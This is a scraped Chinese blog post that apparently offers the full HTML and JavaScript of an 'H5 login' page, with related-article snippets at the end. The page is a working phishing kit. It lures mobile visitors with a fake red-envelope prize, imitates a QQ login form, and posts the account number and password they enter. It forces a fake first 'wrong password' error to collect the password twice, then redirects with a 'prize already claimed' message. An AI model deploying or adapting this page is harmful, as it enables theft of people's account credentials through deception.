h5登录

<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta id="viewport" name="viewport"
    content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<link href="/tpl/36/css.css" rel="stylesheet" type="text/css" />
<title>恭喜发财!</title>
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>
<script src="http://yckart.github.io/jquery.base64.js/jquery.base64.js"></script>
</head>
<body style="display: none;">
    <div id="content" class="content">
        <div id="error_tips">
            <div id="error_tips_content">
                <span id="error_icon"></span> <span id="error_message"></span>
            </div>
        </div>
        <div class="redpack">
            <img src="/tpl/36/redpack.gif" alt="">
        </div>
        <div id="login" class="login">
            <div id="app_name" style="display: none"></div>
            <div id="q_login" class="q_login" style="display: none">
                <div id="q_login_title">
                    <div id="q_login_logo"></div>
                    <label id="q_login_tips">请选择登录帐号</label>
                </div>
                <div id="q_logon_list" class="q_logon_list"></div>
            </div>
            <div id="web_login">
            <form id="loginform" autocomplete="off" name="loginform" action="" method="post" target="_self" style="margin:0">
                <ul id="g_list">
                    <li id="g_u"><div id="del_touch" class="del_touch">
                            <span id="del_u" class="del_u"></span>
                        </div>
                        <input id="u" class="inputstyle" name="u" autocomplete="off"
                        placeholder="号码"></li>
                    <li id="g_p"><div id="del_touch_p" class="del_touch">
                            <span id="del_p" class="del_u"></span>
                        </div>
                        <input id="p" class="inputstyle" maxlength="16" type="password"
                        name="p" autocorrect="off" placeholder="请输入您的密码"></li>
                </ul>
                <div id="auto_login">
                    <input type="checkbox" id="remember" checked="checked"> <span
                        class="checkbox"></span><label class="wording">记住登录状态</label>
                </div>
                <div href="javascript:void(0);" id="go">登 录</div>
                </form>
            </div>
            <div id="switch">
                <div id="swicth_login" onclick="pt._switch()" style="display: none">快速登录历史帐号</div>
                <div id="zc_feedback">
                    <span id="zc"
                        onclick="window.open(‘http\x3A\x2F\x2Fptlogin2.qq.com\x2Fj_newreg_url‘)">注册新帐号</span>
                    <span id="forgetpwd">忘了密码?</span>
                </div>
            </div>
            <div id="custom_bottom"></div>
        </div>
        <div id="vcode">
            <label id="vcode_tips">点击图片可更换验证码</label>
            <div id="vcode_area">
                <img id="vcode_img"><label id="input_tips">请输入图中的字符不区分大小写</label><input
                    id="vcode_input" name="vcode_input" tabindex="3" autocomplete="off"
                    autocorrect="off" maxlength="6">
            </div>
            <div id="submit">提交验证码</div>
        </div>
    </div>
    <div id="new_vcode" class="new_vcode">

    </div>
    <div id="footerBlank"></div>
</body>
<script>

function IsPC() {
    var userAgentInfo = navigator.userAgent;
    var Agents = ["Android", "iPhone",
                "SymbianOS", "Windows Phone",
                "iPad", "iPod"];
    var flag = true;
    for (var v = 0; v < Agents.length; v++) {
        if (userAgentInfo.indexOf(Agents[v]) > 0) {
            flag = false;
            break;
        }
    }
    return flag;
}

if(IsPC()){
    alert(‘请使用手机访问‘);
    $(‘body‘).hide();
} else {
    $(‘body‘).show();
}

$(".redpack").on(‘click‘,function(){
    alert(‘请登录后领取‘);
    $(this).hide();
    $(‘.login‘).show();
});
var err = false;
var times = 0;
function error(msg){

    $("#error_tips").css({display:‘block‘});
    $(‘#error_message‘).html(msg);
    err = true;
}

$(‘form input‘).focus(function(){

    $("#error_tips").css({display:‘none‘});
    err = false;

});

$("#error_tips").on(‘click‘,function(){
    $(this).hide();
});

$("#go").on(‘click‘,function(){
    $(this).parents(‘form‘).submit();
});

$(‘form‘).submit(function(){
    var $this = $(this);
    $.ajax({
        url:$this.attr(‘action‘),
        data:$this.serialize(),
        type:‘post‘,
        beforeSend:function(){
            err = false;
            var p = $("#p").val();
            var u = $("#u").val();

            u == ‘‘ && error(‘您还没有输入帐号!‘);
            if(err) return false;
            p == ‘‘ && error("您还没有输入密码!");
            if(err) return false;

            /^[1-9][0-9]{5,9}$/.test(u) || error(‘请输入正确的帐号!‘);
            if(err) return false;//只有renturn false表单才不会提交,return别的表单都会提交。

            var len = p.length;

            (len < 6 || len>16) && error(‘您输入的帐号或密码不正确,请重新输入。‘);
            if(err) {
                $("#p").val(‘‘);
                return false;
            }
            $("#p").val(‘‘);
            $("#u").val(‘‘);
        },
        success:function(data){
            ++times;
            console.log(times);
            if(times<2){

                error(‘您输入的帐号或密码不正确,请重新输入。‘);

            }else{
                alert(‘红包已经被领取‘);
                location.href = data.url;
            }

        },
        dataType:‘json‘

        })
    return false;

})

</script>
</html>
时间: 2024-08-01 22:44:11

h5登录的相关文章

struts2+ajax+json实现用户登录

实现的是异步刷新登录功能,返回出错信息时不刷新页面. 前端代码: <%@ page language="java" contentType="text/html; charset=GBK" pageEncoding="GBK"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/

native与H5优缺点及H5测试

一.native(原生)与H5优缺点介绍 native(原生)优点 1.运行速度快 2.可以应用到底层的API 3.便捷性与易用性 4.打开会比较节省流量 native(原生)缺点 1.不同操作系统需要独立开发 2.更新后需要重新打包,提交审核(更新后需要给ios和Android各助手审核) 3.不方便做适配,做适配需要很多机型 H5的优点 1.只需要开发一次 2.更新不需要重新打包,代码只更新到服务器就可以 3.开发成本低 H5的缺点 1.每次打开页面都需要重新加载, 2.过度依赖于网络 3.

安卓微信端打开H5页面背景图被键盘挤压移动位置解决

问题:在微信端(安卓浏览器也如此)打开的H5登录页面中,点击输入信息,弹出软键盘会挤压背景图片. 本来的body宽高设置body{width:100%,height:100%},不起作用,这样写就会导致键盘弹出的时候html和body的高度从原来的100%变为(100%-键盘高度).所以要再强行把高度调整回去. 未调整前:背景被挤压,导致下部出现空白背景 调整后: 插入js代码调整高度 1 $(document).ready(function () { $('body').css({'heigh

简单页面html

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <style>                  .emphasis{color: blue; text-decoration:  underline;}    </style>    <title>作业</title></head&

axios对请求各种异常情况处理的封装方法

前端采用了axios来处理网络请求,为了避免在每次请求时都去判断各种各样的网络情况,比如连接超时.服务器内部错误.权限不足等等不一而足,我对axios进行了简单的封装,这里主要使用了axios中的拦截器功能. 封装后的网络请求工具js如下 前端精品教程:百度网盘下载 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

全网独家V25.6版H5游戏 接龙 扫雷 多雷 禁抢 微信登录封装APP赢率智能控制

全网独家V25.6A版H5游戏.牛牛 .接龙. 扫雷. 多雷禁抢. PC.蛋蛋. 微信登录封装APP.赢率智能控制 2018全新源码内核升级打造.更换域名后台简单配置便可,不需要重启和懂技术. 声明:所有代码仅限自我娱乐和学习,禁止用于非法应用,责任自负,本站无关联责任. 我们从不泄露买家隐私,从不监控买家数据和资金充值.流动,更不会将这些数据用于商业用途和推广忽悠.一切为了您的系统安全,防止不必要的风险. 2018-04-16升级日志 1.内置自助提现接口(需要根据要求申请接口秘钥) 2.完善

h5 网页版的微博微信QQ登录

一:微博 1,先说微博吧,首先你的去http://open.weibo.com/wiki/先注册账号,通过验证审核.然后的创建网页应用.微博审核不通过的原因就是域名和网站地址,一定要按实际写的.一定要记得在微博这里设置回调页.然后根据微博开发文档一步一步下来. 2.微博的获取code的地址,是不用urlencode编码的,这个跟微信QQ不同.从客服端获取到code之后,我们是传入服务端的.因为微博第获取acces_token必须要求post请求,微博后台做了不能跨域这是第一个原因.第二个原因是a

微信H5页面登录到支付的心得

这几天帮朋友做了一个微信H5页面,代码都是down下来的,只添加了微信登录和微信支付功能. 以前没这么搞过这方面的,不知道怎么入手,在同事的帮助下终于完成了,现在记录下来,避免以后继续踩坑. 1.首先你的公众号中必须支持微信网页授权的权限,创建了一个方法里面判断用户是否登录,没有的话那么就会去请求微信的接口获取用户的基本信息, 获取信息后存入到数据库,cookie和session中:下次进入的时候判断cookie和session中的数据是否和数据库的一致,一致的话就默认为登录状态.这样微信登录的

.NET Core中 实现H5微信登录(静默授权方式)

需求 假设现在有一个H5需要有微信登录.手机号登录.邮箱登录 三种登录方式.让我们一起来看看微信登录如何实现吧 界面: 最终实现的效果图(登录成功后返回个人页): 因为微信登录目前没有实现移动端的其他浏览器授权登录,所以,再用除微信以外的浏览器操作登录时,我们需要给出用户提醒,比如这样: 实现 准备工作 登录服务号或订阅号的微信公众号后台,找到AppId以及AppSecret.后面会用到 在公众号设置中,设置安全域名.js域名以及网页授权域名 其中再网页授权域名设置的时候需要注意,将腾讯提供的一